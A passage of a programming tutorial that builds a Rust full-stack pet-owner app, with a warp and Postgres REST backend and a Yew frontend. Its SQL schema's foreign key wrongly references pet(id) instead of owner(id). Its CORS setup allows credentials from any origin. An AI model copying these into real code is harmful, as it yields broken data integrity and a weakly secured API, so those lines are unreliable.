                name: owner.name,
            }
        }
    }
    
    #[derive(Deserialize, Clone, PartialEq, Debug)]
    pub struct Pet {
        pub id: i32,
        pub name: String,
        pub owner_id: i32,
        pub animal_type: String,
        pub color: Option<String>,
    }
    
    #[derive(Serialize, Deserialize, Clone, PartialEq, Debug)]
    pub struct PetRequest {
        pub name: String,
        pub animal_type: String,
        pub color: Option<String>,
    }
    
    #[derive(Serialize, Deserialize, Clone, PartialEq, Debug)]
    pub struct PetResponse {
        pub id: i32,
        pub name: String,
        pub animal_type: String,
        pub color: Option<String>,
    }
    
    impl PetResponse {
        pub fn of(pet: Pet) -> PetResponse {
            PetResponse {
                id: pet.id,
                name: pet.name,
                animal_type: pet.animal_type,
                color: pet.color,
            }
        }
    }

We define the database domain structs Owner and Pet, as well as the request and response data objects, we’ll use to communicate between the frontend and the backend.

Sharing this code is nice because adding or removing a field somewhere in the API will give us a compile error in the frontend if we don’t make accommodations for the change. This might save us some time chasing an error when an API is updated.

The Owner is very simple, with only a name and the database ID. The Pet type has a name, an animal_type, and an optional color.

We also define some helpers to create our data objects for the API from the database domain objects.

This is all we’ll put in the common project.

Let’s continue with the backend part of our app.

Building the REST backend

We start off with the database definition for our data model:

    CREATE TABLE IF NOT EXISTS owner
    (
        id SERIAL PRIMARY KEY NOT NULL,
        name VARCHAR(255) NOT NULL
    );
    
    CREATE TABLE IF NOT EXISTS pet
    (
        id SERIAL PRIMARY KEY NOT NULL,
        owner_id INT NOT NULL,
        name VARCHAR(255) NOT NULL,
        animal_type VARCHAR(255) NOT NULL,
        color VARCHAR(255),
    
        CONSTRAINT fk_pet_owner_id FOREIGN KEY (owner_id) REFERENCES pet(id)
    );

This defines our two data tables with their respective fields.

We’ll build the backend from the bottom up, starting with the database layer and working our way up to the web server and routing definitions.

First, we’ll create a db module. In here, we’ll start with some database and connection pool initialization code in mod.rs:

    type Result<T> = std::result::Result<T, error::Error>;
    
    const DB_POOL_MAX_OPEN: u64 = 32;
    const DB_POOL_MAX_IDLE: u64 = 8;
    const DB_POOL_TIMEOUT_SECONDS: u64 = 15;
    const INIT_SQL: &str = "./db.sql";
    
    pub async fn init_db(db_pool: &DBPool) -> Result<()> {
        let init_file = fs::read_to_string(INIT_SQL)?;
        let con = get_db_con(db_pool).await?;
        con.batch_execute(init_file.as_str())
            .await
            .map_err(DBInitError)?;
        Ok(())
    }
    
    pub async fn get_db_con(db_pool: &DBPool) -> Result<DBCon> {
        db_pool.get().await.map_err(DBPoolError)
    }
    
    pub fn create_pool() -> std::result::Result<DBPool, mobc::Error<Error>> {
        let config = Config::from_str("postgres://postgres@127.0.0.1:7878/postgres")?;
    
        let manager = PgConnectionManager::new(config, NoTls);
        Ok(Pool::builder()
            .max_open(DB_POOL_MAX_OPEN)
            .max_idle(DB_POOL_MAX_IDLE)
            .get_timeout(Some(Duration::from_secs(DB_POOL_TIMEOUT_SECONDS)))
            .build(manager))
    }

In init_db, we read the aforementioned db.sql file and execute it to initialize our tables.

The create_pool and get_db_con helpers are there to initialize the database pool and to get a new connection from the pool.

With those setup details out of the way, let’s look at our first domain access object in owner.rs.

    pub const TABLE: &str = "owner";
    const SELECT_FIELDS: &str = "id, name";
    
    pub async fn fetch(db_pool: &DBPool) -> Result<Vec<Owner>> {
        let con = get_db_con(db_pool).await?;
        let query = format!("SELECT {} FROM {}", SELECT_FIELDS, TABLE);
        let rows = con.query(query.as_str(), &[]).await.map_err(DBQueryError)?;
    
        Ok(rows.iter().map(|r| row_to_owner(&r)).collect())
    }
    
    pub async fn fetch_one(db_pool: &DBPool, id: i32) -> Result<Owner> {
        let con = get_db_con(db_pool).await?;
        let query = format!("SELECT {} FROM {} WHERE id = $1", SELECT_FIELDS, TABLE);
    
        let row = con
            .query_one(query.as_str(), &[&id])
            .await
            .map_err(DBQueryError)?;
        Ok(row_to_owner(&row))
    }
    
    pub async fn create(db_pool: &DBPool, body: OwnerRequest) -> Result<Owner> {
        let con = get_db_con(db_pool).await?;
        let query = format!("INSERT INTO {} (name) VALUES ($1) RETURNING *", TABLE);
        let row = con
            .query_one(query.as_str(), &[&body.name])
            .await
            .map_err(DBQueryError)?;
        Ok(row_to_owner(&row))
    }
    
    fn row_to_owner(row: &Row) -> Owner {
        let id: i32 = row.get(0);
        let name: String = row.get(1);
        Owner { id, name }
    }

There are three database operations for owners:

fetch fetches all owners
fetch_one fetches the owner with a given ID
create creates a new owner

The implementation of these methods is rather straightforward. At first, we get a connection from the pool, then we define the Postgres query to be executed and execute it with the given values, propagating any errors.

Finally, we use the row_to_owner helper to convert the returned database row data to an actual Owner struct.

The pet.rs data access object is quite similar:

    pub const TABLE: &str = "pet";
    const SELECT_FIELDS: &str = "id, owner_id, name, animal_type, color";
    
    pub async fn fetch(db_pool: &DBPool, owner_id: i32) -> Result<Vec<Pet>> {
        let con = get_db_con(db_pool).await?;
        let query = format!(
            "SELECT {} FROM {} WHERE owner_id = $1",
            SELECT_FIELDS, TABLE
        );
        let rows = con
            .query(query.as_str(), &[&owner_id])
            .await
            .map_err(DBQueryError)?;
    
        Ok(rows.iter().map(|r| row_to_pet(&r)).collect())
    }
    
    pub async fn create(db_pool: &DBPool, owner_id: i32, body: PetRequest) -> Result<Pet> {
        let con = get_db_con(db_pool).await?;
        let query = format!(
            "INSERT INTO {} (name, owner_id, animal_type, color) VALUES ($1, $2, $3, $4) RETURNING *",
            TABLE
        );
        let row = con
            .query_one(
                query.as_str(),
                &[&body.name, &owner_id, &body.animal_type, &body.color],
            )
            .await
            .map_err(DBQueryError)?;
        Ok(row_to_pet(&row))
    }
    
    pub async fn delete(db_pool: &DBPool, owner_id: i32, id: i32) -> Result<u64> {
        let con = get_db_con(db_pool).await?;
        let query = format!("DELETE FROM {} WHERE id = $1 AND owner_id = $2", TABLE);
        con.execute(query.as_str(), &[&id, &owner_id])
            .await
            .map_err(DBQueryError)
    }
    
    fn row_to_pet(row: &Row) -> Pet {
        let id: i32 = row.get(0);
        let owner_id: i32 = row.get(1);
        let name: String = row.get(2);
        let animal_type: String = row.get(3);
        let color: Option<String> = row.get(4);
        Pet {
            id,
            name,
            owner_id,
            animal_type,
            color,
        }
    }

Here we have the following three methods:

fetch fetches all pets belonging to a given owner_id
create creates a new pet for the given owner_id
delete deletes the pet with the given id and owner_id

In terms of implementation, it follows the exact same concept as owner.rs above.

This concludes the database layer. Let’s move one step up and implement handler.rs in src.

    pub async fn list_pets_handler(owner_id: i32, db_pool: DBPool) -> Result<impl Reply> {
        let pets = db::pet::fetch(&db_pool, owner_id)
            .await
            .map_err(reject::custom)?;
        Ok(json::<Vec<_>>(
            &pets.into_iter().map(PetResponse::of).collect(),
        ))
    }
    
    pub async fn create_pet_handler(
        owner_id: i32,
        body: PetRequest,
        db_pool: DBPool,
    ) -> Result<impl Reply> {
        Ok(json(&PetResponse::of(
            db::pet::create(&db_pool, owner_id, body)
                .await
                .map_err(reject::custom)?,
        )))
    }
    
    pub async fn delete_pet_handler(owner_id: i32, id: i32, db_pool: DBPool) -> Result<impl Reply> {
        db::pet::delete(&db_pool, owner_id, id)
            .await
            .map_err(reject::custom)?;
        Ok(StatusCode::OK)
    }
    
    pub async fn list_owners_handler(db_pool: DBPool) -> Result<impl Reply> {
        let owners = db::owner::fetch(&db_pool).await.map_err(reject::custom)?;
        Ok(json::<Vec<_>>(
            &owners.into_iter().map(OwnerResponse::of).collect(),
        ))
    }
    
    pub async fn fetch_owner_handler(id: i32, db_pool: DBPool) -> Result<impl Reply> {
        let owner = db::owner::fetch_one(&db_pool, id)
            .await
            .map_err(reject::custom)?;
        Ok(json(&OwnerResponse::of(owner)))
    }
    
    pub async fn create_owner_handler(body: OwnerRequest, db_pool: DBPool) -> Result<impl Reply> {
        Ok(json(&OwnerResponse::of(
            db::owner::create(&db_pool, body)
                .await
                .map_err(reject::custom)?,
        )))
    }

The API-surface consists of six operations:

List owners
Fetch owner for a given ID
Create owner
Create pet
Delete pet
List pets for a given owner

In each case, we simply call the corresponding operation in our database layer and convert the returned Owner, or Pet into an OwnerResponse or PetResponse, respectively, returning any errors directly to the caller.

Finally, moving yet another step up, we implement the actual web server pointing to these handlers in main.rs.

    mod db;
    mod error;
    mod handler;
    
    type Result<T> = std::result::Result<T, Rejection>;
    type DBCon = Connection<PgConnectionManager<NoTls>>;
    type DBPool = Pool<PgConnectionManager<NoTls>>;
    
    #[tokio::main]
    async fn main() {
        let db_pool = db::create_pool().expect("database pool can be created");
    
        db::init_db(&db_pool)
            .await
            .expect("database can be initialized");
    
        let pet = warp::path!("owner" / i32 / "pet");
        let pet_param = warp::path!("owner" / i32 / "pet" / i32);
        let owner = warp::path("owner");
    
        let pet_routes = pet
            .and(warp::get())
            .and(with_db(db_pool.clone()))
            .and_then(handler::list_pets_handler)
            .or(pet
                .and(warp::post())
                .and(warp::body::json())
                .and(with_db(db_pool.clone()))
                .and_then(handler::create_pet_handler))
            .or(pet_param
                .and(warp::delete())
                .and(with_db(db_pool.clone()))
                .and_then(handler::delete_pet_handler));
    
        let owner_routes = owner
            .and(warp::get())
            .and(warp::path::param())
            .and(with_db(db_pool.clone()))
            .and_then(handler::fetch_owner_handler)
            .or(owner
                .and(warp::get())
                .and(with_db(db_pool.clone()))
                .and_then(handler::list_owners_handler))
            .or(owner
                .and(warp::post())
                .and(warp::body::json())
                .and(with_db(db_pool.clone()))
                .and_then(handler::create_owner_handler));
    
        let routes = pet_routes
            .or(owner_routes)
            .recover(error::handle_rejection)
            .with(
                warp::cors()
                    .allow_credentials(true)
                    .allow_methods(&[
                        Method::OPTIONS,
                        Method::GET,
                        Method::POST,
                        Method::DELETE,
                        Method::PUT,
                    ])
                    .allow_headers(vec![header::CONTENT_TYPE, header::ACCEPT])
                    .expose_headers(vec![header::LINK])
                    .max_age(300)
                    .allow_any_origin(),
            );
    
        warp::serve(routes).run(([127, 0, 0, 1], 8000)).await;
    }
    
    fn with_db(db_pool: DBPool) -> impl Filter<Extract = (DBPool,), Error = Infallible> + Clone {
        warp::any().map(move || db_pool.clone())
    }

There’s quite a bit to unpack, so let’s go through it.

Initially, we define the modules and some types to save time typing. Then, in the main function (or tokio::main, the asynchronous entry point of our application), we first initialize the database pool and database.

At the bottom, there is a with_db filter, which is the preferred way in warp to pass data to a handler — in this case, the connection pool.

Then we define several routing bases for pet, which has the form of /owner/$ownerId/pet; pet_param, which adds a /$petId at the end; and owner, which simply contains /owner.

With these bases, we can define our routes, leading to the different handlers:

GET /owner lists all owners
GET /owner/$ownerId returns owner with the given ID
POST /owner creates an owner
GET /owner/$ownerid/pet lists all pets of the given owner
POST /owner/$ownerId/pet creates a pet for the given owner
DELETE /owner/$ownerId/pet/$petId deletes the pet with the given ID and owner ID

Then we wire everything together with a CORS config and run the server on port 8000.

This concludes the backend. You can run it by simply running cargo run and, provided you have a Postgres database running at port 7878 (for example, using Docker), you’ll have the REST API running on http://localhost:8000.

You can test it using cURL by running commands such as this:

    curl -X POST http://localhost:8000/owner -d '{"name": "mario"}' -H 'content-type: application/json'
    curl -v -X POST http://localhost:8000/owner/1/pet -d '{"name": "minka", "animal_type": "cat", "color": "black-brown-white"}' -H 'content-type: application/json'

The frontend implementation

Now that we have a fully functional backend, we need a way to interact with it.

In the case of the frontend, we’ll start from the top in lib.rs and work our way down through the components because it’s more natural to go through the component tree step by step.

We’ll use yew_router for routing. Otherwise, we’ll use the same setup as the official Yew docs suggest, using trunk to build and serve the web app.

Within our app, there are two modules, pet and owner. However, before we start writing any Rust code, we need to create our index.html file in our frontend project root, including the styles we’ll use:

    <html>
      <head>
        <title>Rust Fullstack Example</title>
        <style>
            body {
                font-size: 14px;
                font-family: sans-serif;
            }
            a {
                text-decoration: none;
                color: #339;
            }
            a:hover {
                text-decoration: none;
                color: #33f;
            }
            .app {
                background-color: #efefef;
                margin: 100px 25% 25% 25%;
                width: 50%;
                padding: 10px;
            }
            .app .nav {
                text-align: center;
                font-size: 16px;
                font-weight: bold;
            }
            .app .refresh {
                text-align: center;
                margin: 10px 0 10px 0;
            }
            .list-item {
                margin: 2px;
                padding: 5px;
                background-color: #cfc;
            }
            .pet {
                margin-top: 10px;
            }
            .completed {
                text-decoration: line-through;
                background-color: #dedede;
            }
            .detail {
                font-size: 16px;
            }
            .detail h1 {
                font-size: 24px;
            }
            .detail .id {
                color: #999;
            }
            .detail .completed {
                color: #3f3;
            }
            .detail .not-completed {
                color: #f33;
            }
        </style>
      </head>
    </html>

This HTML file will be used as a starting point and trunk will add the corresponding snippets to make our app work with it in the dist folder when we build the app.

Start at the root

Let’s start at the top with lib.rs.

We first define some modules and a struct for containing our root component, as well as some routes.

    mod owner;
    mod pet;
    
    pub type Anchor = RouterAnchor<AppRoute>;
    
    struct FullStackApp {}
    
    pub enum Msg {}
    
    #[derive(Switch, Clone, Debug)]
    pub enum AppRoute {
        #[to = "/app/create-owner"]
        CreateOwner,
        #[to = "/app/create-pet/{id}"]
        CreatePet(i32),
        #[to = "/app/{id}"]
        Detail(i32),
        #[to = "/"]
        Home,
    }

Our app has routes for Home (e.g., list owners), for looking at an owner detail page and for creating owners and pets.

Then, we implement the Component trait for our FullStackApp so we can use it as an entry point.

    impl Component for FullStackApp {
        type Message = Msg;
        type Properties = ();
        fn create(_: Self::Properties, _link: ComponentLink<Self>) -> Self {
            Self {}
        }
    
        fn update(&mut self, _msg: Self::Message) -> ShouldRender {
            true
        }
    
        fn change(&mut self, _props: Self::Properties) -> ShouldRender {
            true
        }
    
        fn view(&self) -> Html {
            html! {
                <div class=classes!("app")>
                    <div class=classes!("nav")>
                        <Anchor route=AppRoute::Home>{"Home"}</Anchor>
                    </div>
                    <div class=classes!("content")>
                        <Router<AppRoute, ()>
                            render = Router::render(move |switch: AppRoute| {
                                match switch {
                                    AppRoute::CreateOwner => {
                                        html! {
                                            <div>
                                                <owner::create::CreateForm />
                                            </div>}
                                    }
                                    AppRoute::CreatePet(owner_id) => {
                                        html! {
                                            <div>
                                                <pet::create::CreateForm owner_id=owner_id/>
                                            </div>}
                                    }
                                    AppRoute::Detail(owner_id) => {
                                        html! {
                                            <div>
                                                <owner::detail::Detail owner_id=owner_id/>
                                            </div>}
                                    }
                                    AppRoute::Home => {
                                        html! {
                                            <div>
                                                <owner::list::List />
                                                <br />
                                                <Anchor route=AppRoute::CreateOwner>
                                                    { "Create New Owner" }
                                                </Anchor>
                                            </div>
                                        }
                                    }
                                }
                            })
                        />
                    </div>
                </div>
            }
        }
    }

Our root component doesn’t really do much; it just contains a simple menu with a Home link, which is always visible, and then includes the router, which, for each of our routes, configures which component should be shown and what is just extra markup.

For example, for AppRoute::Home, our default Home route, we show a list of owners and a link to the Create New Owner form.

Finally, we need the following snippet to make the Wasm-magic work and so we get an actual web app out of trunk:

    #[wasm_bindgen(start)]
    pub fn run_app() {
        App::<FullStackApp>::new().mount_to_body();
    }

List of owners

Let’s start with the owner list shown on Home because it’s the simplest component.

In the owner module, we create a mod.rs file, a create.rs , a detail.rs and a list.rs file.

In mod.rs, we simply export these modules:

    pub mod create;
    pub mod detail;
    pub mod list;

Then, we start implementing list.rs.

The goal is to fetch the list of owners from the backend and to display each owner linking to its detail page.

We first define the List struct, which is the base of our component:

    pub struct List {
        fetch_task: Option<FetchTask>,
        owners: Option<Vec<OwnerResponse>>,
        link: ComponentLink<Self>,
    }

The ComponentLink is Yew’s method of sending messages inside the component to, for example, trigger side effects such as a web request.

Because we’re using Yew’s FetchService, we also need to save the fetch_task we’re going to use to fetch the owners from the backend.

The list of owners is None at first and will be filled once the request to the backend (hopefully) returns a list of owners.

Then, we define our Msg enum, defining the messages that are handled by the component.

    pub enum Msg {
        MakeReq,
        Resp(Result<Vec<OwnerResponse>, anyhow::Error>),
    }

We simply create one action to make the request and one to receive the result from the backend.

With that, we can implement the Component as follows:

    impl Component for List {
        type Properties = ();
        type Message = Msg;
    
        fn create(_props: Self::Properties, link: ComponentLink<Self>) -> Self {
            link.send_message(Msg::MakeReq);
            Self {
                fetch_task: None,
                link,
                owners: None,
            }
        }
    
        fn view(&self) -> Html {
            html! {
                <div>
                    { self.render_list() }
                </div>
            }
        }
    
        fn update(&mut self, msg: Self::Message) -> ShouldRender {
            match msg {
                Msg::MakeReq => {
                    self.owners = None;
                    let req = Request::get("http://localhost:8000/owner")
                        .body(Nothing)
                        .expect("can make req to backend");
    
                    let cb = self.link.callback(
                        |response: Response<Json<Result<Vec<OwnerResponse>, anyhow::Error>>>| {
                            let Json(data) = response.into_body();
                            Msg::Resp(data)
                        },
                    );
    
                    let task = FetchService::fetch(req, cb).expect("can create task");
                    self.fetch_task = Some(task);
                    ()
                }
                Msg::Resp(resp) => {
                    if let Ok(data) = resp {
                        self.owners = Some(data);
                    }
                }
            }
            true
        }
    
        fn change(&mut self, _props: Self::Properties) -> ShouldRender {
            true
        }
    }

When the component is created, we use the component link to trigger MakeReq, sending a request for the owners to the backend. Then we initialize the component.

In update, we handle the request and response messages, using the FetchService to send a request to http://localhost:8000/owner, where our backend serves us the list of owners.

Then we parse the response in the callback and call Msg::Resp(data), which, if no error occurred, will set the data into our component.

In the render function, we simply call render_list, which we implement on List itself as follows:

    impl List {
        fn render_list(&self) -> Html {
            if let Some(t) = &self.owners {
                html! {
                    <div class=classes!("list")>
                        { t.iter().map(|name| self.view_owner(name)).collect::<Html>() }
                    </div>
                }
            } else {
                html! {
                    <div class=classes!("loading")>{"loading..."}</div>
                }
            }
        }
    
        fn view_owner(&self, owner: &OwnerResponse) -> Html {
            html! {
                <div class=classes!("list-item")>
                    <Anchor route=AppRoute::Detail(owner.id as i32)>
                        { &owner.name }
                    </Anchor>
                </div>
            }
        }
    }

Basically, if we have self.owners set, we iterate over the list and render view_owner for each of them. This creates a link to AppRoute::Detail with the owner’s ID, which is a link to the detail page.

If we don’t have data, we show a loading… message.

That’s it for listing owners. Let’s continue with the detail page in detail.rs.

Creating a detail page for owners

The owner detail page is a bit tricker. Here, we need to make two requests: one to fetch the owner with the given owner ID (so we can also refresh the page and use the route directly), as well as the list of pets for the owner. Also, we have to implement the functionality for deleting pets here.

The general idea is the same:

    #[derive(Properties, Clone, PartialEq)]
    pub struct Props {
        pub owner_id: i32,
    }
    
    pub struct Detail {
        props: Props,
        link: ComponentLink<Self>,
        pets: Option<Vec<PetResponse>>,
        owner: Option<OwnerResponse>,
        fetch_pets_task: Option<FetchTask>,
        fetch_owner_task: Option<FetchTask>,
        delete_pet_task: Option<FetchTask>,
    }
    
    pub enum Msg {
        MakePetsReq(i32),
        MakeOwnerReq(i32),
        MakeDeletePetReq(i32, i32),
        RespPets(Result<Vec<PetResponse>, anyhow::Error>),
        RespOwner(Result<OwnerResponse, anyhow::Error>),
        RespDeletePet(Response<Json<Result<(), anyhow::Error>>>, i32),
    }

We define the props for the component with which it’s called — in this case, the owner id from the route path.

Then, we define the Detail struct, which holds our component’s data, icluding the pets and owner we’re going to fetch, as well as the component link and the props and FetchTasks for fetching pets, fetching an owner, and deleting a pet.

Let’s take a look at the component implementation:

    impl Component for Detail {
        type Properties = Props;
        type Message = Msg;
    
        fn create(props: Self::Properties, link: ComponentLink<Self>) -> Self {
            link.send_message(Msg::MakePetsReq(props.owner_id));
            link.send_message(Msg::MakeOwnerReq(props.owner_id));
            Self {
                props,
                link,
                owner: None,
                pets: None,
                fetch_pets_task: None,
                fetch_owner_task: None,
                delete_pet_task: None,
            }
        }
    
        fn view(&self) -> Html {
            html! {
                <div>
                    { self.render_detail(&self.owner, &self.pets)}
                </div>
            }
        }
    
        fn update(&mut self, msg: Self::Message) -> ShouldRender {
            match msg {
                Msg::MakePetsReq(id) => {
                    let req = Request::get(&format!("http://localhost:8000/owner/{}/pet", id))
                        .body(Nothing)
                        .expect("can make req to backend");
    
                    let cb = self.link.callback(
                        |response: Response<Json<Result<Vec<PetResponse>, anyhow::Error>>>| {
                            let Json(data) = response.into_body();
                            Msg::RespPets(data)
                        },
                    );
    
                    let task = FetchService::fetch(req, cb).expect("can create task");
                    self.fetch_pets_task = Some(task);
                    ()
                }
                Msg::MakeOwnerReq(id) => {
                    let req = Request::get(&format!("http://localhost:8000/owner/{}", id))
                        .body(Nothing)
                        .expect("can make req to backend");
    
                    let cb = self.link.callback(
                        |response: Response<Json<Result<OwnerResponse, anyhow::Error>>>| {
                            let Json(data) = response.into_body();
                            Msg::RespOwner(data)
                        },
                    );
    
                    let task = FetchService::fetch(req, cb).expect("can create task");
                    self.fetch_owner_task = Some(task);
                    ()
                }
                Msg::MakeDeletePetReq(owner_id, pet_id) => {
                    let req = Request::delete(&format!(
                        "http://localhost:8000/owner/{}/pet/{}",
                        owner_id, pet_id
                    ))
                    .body(Nothing)
                    .expect("can make req to backend");
    
                    let cb = self.link.callback(
                        move |response: Response<Json<Result<(), anyhow::Error>>>| {
                            Msg::RespDeletePet(response, pet_id)
                        },
                    );
    
                    let task = FetchService::fetch(req, cb).expect("can create task");
                    self.delete_pet_task = Some(task);
                    ()
                }
                Msg::RespPets(resp) => {
                    if let Ok(data) = resp {
                        self.pets = Some(data);
                    }
                }
                Msg::RespOwner(resp) => {
                    if let Ok(data) = resp {
                        self.owner = Some(data);
                    }
                }
                Msg::RespDeletePet(resp, id) => {
                    if resp.status().is_success() {
                        self.pets = self
                            .pets
                            .as_ref()
                            .map(|pets| pets.into_iter().filter(|p| p.id != id).cloned().collect());
                    }
                }
            }
            true
        }
    
        fn change(&mut self, props: Self::Properties) -> ShouldRender {
            self.props = props;
            true
        }
    }

The basics are the same, our view calls a render_detail function, which we’ll look at in a bit and in create, we also initialize our component and trigger the fetching of pets and the owner by sending the corresponding messages and the given owner_id.

In update, we need to implement the request and response handlers for fetching pets and the owner. These are almost exactly the same as in the List component, just with different URLs and different return types.

In the handler of MakeDeletePetReq, we send the DELETE request using the owner_id and pet_id given. If it works, we trigger the Msg::RespDeletePet message.

There, if the request succeeds, we simply remove the pet with the given ID from our list of pets. This is nice because it means we don’t need to refetch the whole list of pets.

Let’s look at the rendering code for the owner detail:

    impl Detail {
        fn render_detail(
            &self,
            owner: &Option<OwnerResponse>,
            pets: &Option<Vec<PetResponse>>,
        ) -> Html {
            match owner {
                Some(o) => {
                    html! {
                        <div class=classes!("detail")>
                            <h1>{&o.name}{" ("}<span class=classes!("id")>{o.id}</span>{")"}</h1>
                            {
                                self.view_pet_list(pets)
                            }
    
                        <br />
                        <Anchor route=AppRoute::CreatePet(o.id as i32)>
                            { "Create New Pet" }
                        </Anchor>
                        </div>
                    }
                }
                None => {
                    html! {
                        <div class=classes!("loading")>{"loading..."}</div>
                    }
                }
            }
        }
    
        fn view_pet_list(&self, pets: &Option<Vec<PetResponse>>) -> Html {
            match pets {
                Some(p) => {
                    html! {
                        p.iter().map(|pet| self.view_pet(pet)).collect::<Html>()
                    }
                }
                None => {
                    html! {
                        <div class=classes!("loading")>{"loading..."}</div>
                    }
                }
            }
        }
    
        fn view_pet(&self, pet: &PetResponse) -> Html {
            let id = pet.id;
            let owner_id = self.props.owner_id;
            html! {
                <div class=classes!("list-item", "pet")>
                    <div><b>{ &pet.name }</b> { " (" } <button onclick=self.link.callback(move |_| Msg::MakeDeletePetReq(owner_id, id))>{"Delete"}</button> {")"}</div>
                    <div>{ &pet.animal_type }</div>
                    <div>{ &pet.color.as_ref().unwrap_or(&String::new()) }</div>
                </div>
            }
        }
    }

Again, if we have data, we render it. Otherwise, we show a loading… indicator. Once we have our owner, we render it’s name with it’s ID next to it.

Below, we render the list of pets, with the actual rendering of the pets in view_pet. We also create the button for deleting pets, which has an onclick handler triggering the MsgMakeDeletePetReq message.

Below the pet list, we show a link to the Create Pet route.

We’re almost done. Now we just have to look at the components for creating owners and pets. Let’s start with owners in create.rs:

    pub struct CreateForm {
        link: ComponentLink<Self>,
        fetch_task: Option<FetchTask>,
        state_name: String,
    }
    
    pub enum Msg {
        MakeReq,
        Resp(Result<OwnerResponse, anyhow::Error>),
        EditName(String),
    }

Again, we start with the Component struct and the Msg enum.

In this case, we need the data infrastructure to make a request to create an owner, but we also need a way to create and edit a form.

For this purpose, we create the state_name field on our component and the EditName(String) in Msg.

Let’s look at the Component implementation next:

    impl Component for CreateForm {
        type Properties = ();
        type Message = Msg;
    
        fn create(_props: Self::Properties, link: ComponentLink<Self>) -> Self {
            Self {
                link,
                state_name: String::new(),
                fetch_task: None,
            }
        }
    
        fn view(&self) -> Html {
            html! {
                <div>
                    { self.render_form() }
                </div>
            }
        }
    
        fn update(&mut self, msg: Self::Message) -> ShouldRender {
            match msg {
                Msg::MakeReq => {
                    let body = OwnerRequest {
                        name: self.state_name.clone(),
                    };
                    let req = Request::post("http://localhost:8000/owner")
                        .header("Content-Type", "application/json")
                        .body(Json(&body))
                        .expect("can make req to backend");
    
                    let cb = self.link.callback(
                        |response: Response<Json<Result<OwnerResponse, anyhow::Error>>>| {
                            let Json(data) = response.into_body();
                            Msg::Resp(data)
                        },
                    );
    
                    let task = FetchService::fetch(req, cb).expect("can create task");
                    self.fetch_task = Some(task);
                    ()
                }
                Msg::Resp(resp) => {
                    ConsoleService::info(&format!("owner created: {:?}", resp));
                    if let Ok(_) = resp {
                        RouteAgent::dispatcher().send(RouteRequest::ChangeRoute(Route {
                            route: "/".to_string(),
                            state: (),
                        }));
                    }
                }
                Msg::EditName(input) => {
                    self.state_name = input;
                }
            }
            true
        }
    
        fn change(&mut self, _props: Self::Properties) -> ShouldRender {
            true
        }
    }
    
    impl CreateForm {
        fn render_form(&self) -> Html {
            let edit_name = self
                .link
                .callback(move |e: InputData| Msg::EditName(e.value));
    
            html! {
                <div class=classes!("pet-form")>
                    <div>
                        <input type="text" value={self.state_name.clone()} oninput={edit_name} />
                    </div>
                    <div>
                        <button onclick=self.link.callback(move |_| Msg::MakeReq)>{"Submit"}</button>
                    </div>
                </div>
            }
        }
    }

As you can see, in render_form inside the CreateForm implementation, we create a simple form input field, which takes self.state_name as a value. This means it’s directly connected to our state.

We use the oninput event handler to, each time someone writes text into the input field, call the Msg::EditName message with the value of the input field.

When you look at the update function in the Component implementation, the handler for Msg::EditName simply sets self.state_name to the given value in the input. This ensures that we always have the value that’s in the form field inside our component.

This is important once we click on the Submit button, which triggers Msg::MakeReq. There, we create a JSON payload for creating an owner using self.state_name as the value for the name.

Then we send this payload to the backend endpoint for creating an owner and, if everything is successful, use yew_router’s RouteAgent and dispatcher to manually change the route back to `"/`", our Home route.

Detail page for pets

That’s how easy form handling is with Yew! Lets look at the final part of the puzzle by creating a pet module with a mod.rs and create.rs inside.

In the mod.rs, we again just export create:

    pub mod create;

In create.rs, we implement the component for adding new pets, which will be very similar to the owner’s CreateForm we just implemented.

    #[derive(Properties, Clone, PartialEq)]
    pub struct Props {
        pub owner_id: i32,
    }
    
    pub struct CreateForm {
        props: Props,
        link: ComponentLink<Self>,
        fetch_task: Option<FetchTask>,
        state_pet_name: String,
        state_animal_type: String,
        state_color: Option<String>,
    }
    
    pub enum Msg {
        MakeReq(i32),
        Resp(Result<PetResponse, anyhow::Error>),
        EditName(String),
        EditAnimalType(String),
        EditColor(String),
    }

The CreatePet form takes as a prop the owner_id of the owner for whom we we want to create a pet.

Then, we define state_pet_name, state_animal_type, and state_color to keep the state of our three form fields, same as we did for the owner.

For Msg, it’s the same: we need handlers for each of our form fields, as well as for making the create pet request and handling its response.

Let’s look at the implementation of Component and the rendering logic:

    impl Component for CreateForm {
        type Properties = Props;
        type Message = Msg;
    
        fn create(props: Self::Properties, link: ComponentLink<Self>) -> Self {
            Self {
                props,
                link,
                state_pet_name: String::new(),
                state_animal_type: String::from("cat"),
                state_color: Some(String::from("black")),
                fetch_task: None,
            }
        }
    
        fn view(&self) -> Html {
            html! {
                <div>
                    { self.render_form(self.props.owner_id) }
                </div>
            }
        }
    
        fn update(&mut self, msg: Self::Message) -> ShouldRender {
            match msg {
                Msg::MakeReq(id) => {
                    let body = PetRequest {
                        name: self.state_pet_name.clone(),
                        animal_type: self.state_animal_type.clone(),
                        color: self.state_color.clone(),
                    };
                    let req = Request::post(&format!("http://localhost:8000/owner/{}/pet", id))
                        .header("Content-Type", "application/json")
                        .body(Json(&body))
                        .expect("can make req to backend");
    
                    let cb = self.link.callback(
                        |response: Response<Json<Result<PetResponse, anyhow::Error>>>| {
                            let Json(data) = response.into_body();
                            Msg::Resp(data)
                        },
                    );
    
                    let task = FetchService::fetch(req, cb).expect("can create task");
                    self.fetch_task = Some(task);
                    ()
                }
                Msg::Resp(resp) => {
                    ConsoleService::info(&format!("pet created: {:?}", resp));
                    if let Ok(_) = resp {
                        RouteAgent::dispatcher().send(RouteRequest::ChangeRoute(Route {
                            route: format!("/app/{}", self.props.owner_id),
                            state: (),
                        }));
                    }
                }
                Msg::EditName(input) => {
                    self.state_pet_name = input;
                }
                Msg::EditAnimalType(input) => {
                    ConsoleService::info(&format!("input: {:?}", input));
                    self.state_animal_type = input;
                }
                Msg::EditColor(input) => {
                    self.state_color = Some(input);
                }
            }
            true
        }
    
        fn change(&mut self, props: Self::Properties) -> ShouldRender {
            self.props = props;
            true
        }
    }
    
    impl CreateForm {
        fn render_form(&self, owner_id: i32) -> Html {
            let edit_name = self
                .link
                .callback(move |e: InputData| Msg::EditName(e.value));
            let edit_animal_type = self.link.callback(move |e: ChangeData| match e {
                ChangeData::Select(elem) => Msg::EditAnimalType(elem.value()),
                _ => unreachable!("only used on select field"),
            });
            let edit_color = self
                .link
                .callback(move |e: InputData| Msg::EditColor(e.value));
    
            html! {
                <div class=classes!("pet-form")>
                    <div>
                        <input type="text" value={self.state_pet_name.clone()} oninput={edit_name} />
                    </div>
                    <div>
                        <select onchange={edit_animal_type}>
                            <option value="cat" selected=true>{ "Cat" }</option>
                            <option value="dog">{ "Dog" }</option>
                        </select>
                    </div>
